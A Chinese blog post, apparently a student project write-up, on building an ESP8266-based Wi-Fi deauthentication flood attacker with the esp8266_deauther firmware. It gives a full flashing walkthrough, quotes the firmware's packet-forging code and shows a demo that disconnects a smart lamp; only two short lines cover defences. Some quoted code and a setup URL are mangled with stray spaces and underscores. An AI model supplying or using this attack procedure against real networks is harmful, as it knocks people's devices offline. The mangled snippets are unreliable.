基于 ESP8266 的 Wi-Fi 取消验证洪水攻击的实现

本文最后更新于:2021年9月12日 晚上

大二时候照着教程做得有趣的玩意,现在看来还是很粗糙的

基于 ESP8266 的 Wi-Fi 取消验证洪水攻击的实现

概述

  • 取消验证洪水攻击,即De-authentication Flood Attack,通常被简称为Deauth攻击,是无线网络拒绝服务攻击的一种形式。它旨在通过欺骗从AP到客户端单播地址的取消身份验证帧来将客户端转为未关联的/未认证的状态
    • 对于目前广泛使用的无线客户端适配器工具来说,这种形式的攻击在打断客户端无线服务方面非常有效和快捷
    • 一般来说,在攻击者发送另一个取消身份验证帧之前,客户站会重新关联和认证以再次获取服务。攻击者反复欺骗取消身份验证帧才能使所有客户端持续拒绝服务

技术原理

硬件介绍

  • ESP8266: 一款由上海乐鑫信息科技开发的可以作为微控制器使用的成本极低且具有完整TCP/IP协议栈的Wi-Fi IoT控制芯片
    • 可以实现的主要功能包括:串口透传,PWM调控,GPIO控制
    • 支持STA、AP、STA+AP 三种工作模式
  • NodeMCU:一个开源的物联网平台。 它使用Lua脚本语言编程。该平台基于eLua 开源项目,底层使用ESP8266 sdk 0.9.5版本。
  • 我们实际使用的是搭载 ESP8266 的 NodeMCU,但是为了便于叙述,我们简称为 ESP8266

Wi-Fi 认证

  • 简略流程如下:
    1. 定期发送信标帧,无线终端接收到信标帧后,更新自己的无线网络列表
    2. 无线终端在信道号为 1 到 13 的每个信道广播探测请求帧。每个信道的无线接入点回应探测到响应帧
    3. 无线终端给目标 AP 发送身份认证帧。AP 向无线客户端回应身份认证帧
    4. 无线终端给 AP 发送关联请求帧,AP 回应无线终端,发送关联响应帧
    5. 基于局域网的扩展认证协议四次握手进行认证,完成认证后,客户端接入该无线局域网,从而能够上网

攻击原理

  • 当客户端与 AP 通过认证连接后,如果 AP 或客户端任何一方收到另一方的取消身份证帧时,AP 与客户端将断开连接,客户端将由认证状态转换为未认证状态,该客户端用户将不能享受该 AP 的无线局域网服务

攻击流程

  • 攻击者发动取消身份验证洪水攻击的步骤为:
    1. 扫描目标AP并获取信息
    2. 伪造无线接入点和无线客户端信息,并将含有这些信息的取消身份验证帧注入到目标无线局域网中
    3. 无线接入点收到取消身份验证帧后,断开与客户端的连接。持续的攻击将使得所有连接到该AP的客户端都与该AP断开连接
    4. 客户端与AP断开连接后,会自动再次尝试与该AP进行连接,持续的攻击将继续发送取消身份验证帧,连接将继续被断开,用户在一段时间内不能正常使用该AP上网

实现步骤

准备所需的硬件

  • 为了实现该攻击,我们需要一个 ESP8266 模块。除此,按我们的需求,还需要用到一个电源,在这里我们利用 MicroUSB 接口给ESP8266 进行供电。

配置所需的Arduino环境

  • 从 Arduino 网站下载最新的 Arduino 编译器,安装 Arduino,并打开它,然后打开 File -> Preferences,再在 Additional Boards Manager URLs 中添加http://arduino.ESP8266 .com/stable/package_ESP8266 com_index.json。打开 Tools > Board > Boards Manager,然后输入 ESP8266 ,选择版本 2.0.0,然后进行安装。在那之后,我们还要安装 arduino-ESP8266 -deauther,作为后面烧录时的 module。

  • 除此之外,还需要进行额外的库安装。在 Libraries Manager 中将 ArduinoJSON 升级/降级到 version 5,在这里我选择的是5.13.4 版本

  • 安装完成后,打开 File > Preferences,接着打开 More preferences can be edited directly 的文件夹。然后将其保存。打开 packages > ESP8266 > hardware > ESP8266 > 2.0.0 > tools > sdk > include使用编程器,然后打开 user_interface.h ,再向下滚动,然后 #endif 添加以下行:

    1
    2
    3
    4
    typedef void (**freedom_outside_cb__t)(uint8 status);
    int Wi-Fi _register_send_pkt_freedom_cb(freedom_outside_cb_t cb);
    void Wi-Fi _unregister_send_pkt_freedom__cb(void);
    int Wi-Fi _send_pkt_freedom(uint8 **buf, int len, bool sys_seq);

下载并烧录项目

  • 我们可以从这里下载项目文件:https://github.com/SpacehuhnTech/esp8266_deauther
    • ※:现在代码更新,下面代码分析是旧版本
  • 在 Arduino 中打开 Wi-Fi Jammer > ESP8266 _deauther > ESP8266 _deauther.ino ,然后在 Tools > Board 中选择 ESP8266 Deauther Modules。我使用的是 NodeMCU 1.0,但也可以尝试使用 NodeMCU 0.9 或通用 ESP8266 模块。
  • 从 Tools > Programmer > ArduinoISP 中选择编程器,再从 Tools > Port 中选择正确的端口号,最后烧录(Upload)。

具体使用

  • 首先用 MicroUSB 线连接 ESP8266 电源。现在,我们可以使用任何智能手机或 PC 控制 ESP8266 模块。
  • 通过扫描 Wi-Fi 网络,连接到名为 pwned 的 Wi-Fi 就可以对这个 Wi-Fi 攻击器进行操作了。一旦连接,就可以打开浏览器,然后转到 192.168.4.1来控制这个 Wi-Fi 干扰器了。这样就可以扫描网络。
    • 由于 ESP8266 只具有单 Wi-Fi 模块,所以在进行 Wi-Fi 扫描时,ESP8266 将关闭其接入点,因此在扫描 Wi-Fi 结束后,我们可能需要进行设置并手动重新连接到 Wi-Fi 网络。
  • 扫描Wi-Fi 完成之后,就可以在 192.168.4.1来控制 ESP8266 进行攻击。以 Wi-Fi 取消验证洪水攻击为例子。单击 Attacks 选项选择 Deauth,然后选择攻击对象,进行攻击。被攻击到的Wi-Fi 会断开连接。
  • 当然,除了Wi-Fi 取消验证洪水攻击以外,此 Wi-Fi 攻击器还有其他的攻击方式,在这里不做赘述。以上便是基于 ESP8266 实现 Wi-Fi 攻击的主要步骤。

部分源码分析

  • wifi.h:这一部分代码规定了Web文件的位置,或者说是为什么我们需要在192.168.4.1这个地方进行操作而不是别的地方。此外,这一处的代码还给出了Wi-Fi的基本配置。举出核心代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    // Server and other global objects
    ESP8266WebServer server(80);
    DNSServer dnsServer;
    IPAddress apIP(192, 168, 4, 1);
    IPAddress netMsk(255, 255, 255, 0);
    File fsUploadFile;

    // current WiFi mode and config
    uint8_t wifiMode = WIFI_MODE_OFF;

    bool wifi_config_hidden = false;
    bool wifi_config_captivePortal = false;
    String wifi_config_ssid;
    String wifi_config_password;
    String wifi_config_path;

  • setting.h:操作后台的配置则是取决于setting.h文件,从下面的代码中我们可以看见本Wi-Fi攻击器代码的版本号、设置的攻击超时时间、Wi-Fi的channel、SSID、password、以及是否隐藏SSID、语言等。很明显地,我们可以看出登陆使用的SSID默认为 pwned,密码默认为 deauther,设置的并不隐藏SSID,默认的语言为英语。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    private:
    bool changed = false;

    String version = VERSION;

    bool beaconChannel = false;
    bool autosave = true;
    bool beaconInterval = false;
    bool cli = true;
    bool displayInterface = USE_DISPLAY;
    bool webInterface = true;
    bool webSpiffs = false;
    bool randomTX = false;
    bool ledEnabled = true;
    bool serialEcho = true;

    uint32_t attackTimeout = 600;
    uint32_t autosaveTime = 10000;
    uint32_t displayTimeout = 600;
    uint16_t deauthsPerTarget = 20;
    uint16_t chTime = 384;
    uint16_t minDeauths = 3;
    uint8_t forcePackets = 1;
    uint8_t channel = 9;
    uint8_t deauthReason = 1;
    uint8_t* macSt;
    uint8_t* macAP;
    uint8_t probesPerSSID = 1;

    String ssid = "pwned";
    String password = "deauther";
    bool hidden = false;
    bool captivePortal = true;
    String lang = "en";

    String FILE_PATH = "/settings.json";

    String getJsonStr();
  • Attack.h 和 Attack.cpp 涉及攻击,这里仅分析 Wi-Fi 取消验证洪水攻击的实现

    • Attack.h 中的 deauth 攻击数据包 deauthPacket[26] 的结构如下,这个攻击数据包中包含有包的类型,包的发送的对象以及伪造的接收方及发送方的信息,以及最后的封包序列号和原因码。

      1
      2
      3
      4
      5
      6
      7
      8
      9
      int8_t deauthPacket[26] = {
      /* 0 - 1 */ 0xC0, 0x00, // type, subtype c0: deauth (a0: disassociate)
      /* 2 - 3 */ 0x00, 0x00, // duration (SDK takes care of that)
      /* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // reciever (target)
      /* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // source (ap)
      /* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // BSSID (ap)
      /* 22 - 23 */ 0x00, 0x00, // fragment & squence number
      /* 24 - 25 */ 0x01, 0x00 // reason code (1 = unspecified reason)
      };
    • Attack.cpp 的 deauth 攻击的主要代码,它是利用 memcpy 函数来修改 deauthPacket 中不同位置的值来伪造包,不断发送伪造包从而进行 deauth 攻击的。

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch) {
      if (!stMac) return false; // exit when station mac is null

      // Serial.println("Deauthing "+macToStr(apMac)+" -> "+macToStr(stMac)); // for debugging

      bool success = false;

      // build deauth packet
      packetSize = sizeof(deauthPacket);
      memcpy(&deauthPacket[4], stMac, 6);
      memcpy(&deauthPacket[10], apMac, 6);
      memcpy(&deauthPacket[16], apMac, 6);
      deauthPacket[24] = reason;

      // send deauth frame
      deauthPacket[0] = 0xc0;

      if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
      success = true;
      deauth.packetCounter++;
      }

      // send disassociate frame
      deauthPacket[0] = 0xa0;

      if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
      success = true;
      deauth.packetCounter++;
      }

      // send another packet, this time from the station to the accesspoint
      if (!macBroadcast(stMac)) { // but only if the packet isn't a broadcast
      // build deauth packet
      memcpy(&deauthPacket[4], apMac, 6);
      memcpy(&deauthPacket[10], stMac, 6);
      memcpy(&deauthPacket[16], stMac, 6);

      // send deauth frame
      deauthPacket[0] = 0xc0;

      if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
      success = true;
      deauth.packetCounter++;
      }

      // send disassociate frame
      deauthPacket[0] = 0xa0;

      if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
      success = true;
      deauth.packetCounter++;
      }
      }

      if (success) deauth.time = currentTime;

      return success;
      }

实例展示

  • 我们选取连入了 Wi-Fi 名为 El-PSY-CONGROO-Android 的米家台灯 1s 作为攻击的对象。这是一款支持通过 Wi-Fi 进行物联网接入的台灯,能够通过米家 APP 进行相应的操控。

  • 我们将Wi-Fi攻击器通过USB供电,工作中的Wi-Fi攻击器如下图。

  • 我们首先先连接到 Wi-Fi 中的 pwned,这样我们就可以登陆到操作后台。

  • 接下来,我们登陆到 192.168.4.1 对 Wi-Fi 攻击器开始控制:

  • 点击 SCAN APS 开始扫描 Wi-Fi,此时 Wi-Fi 攻击器的指示灯会变蓝,当指示灯不再变蓝时,Wi-Fi 扫描即完成。

  • 在扫描得到的 Wi-Fi 列表中,我们能够发现米家台灯所接入的 Wi-Fi。我们选中对应的 Wi-Fi,并在菜单中选择 Attacks 开始攻击。

  • 攻击之后米家 APP 显示米家台灯不在线,无法进行操作。Wi-Fi 网关显示连接设备的数目为 0,这样就实现了攻击。

防护措施

  • Deauth 攻击主要时针对管理帧的攻击,只要对管理帧进行保护,设备便能抵御 Deauth 攻击
  • Deauth 攻击在 5 GHZ 的频段上攻击效果不佳,以后的 5G 频段的路由器防止攻击的能力将大大增强

其它

  • 值得一提的是,Aireplay-ng 中的 Attack 0 即是解除认证攻击,原理和这次实现完全相同

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!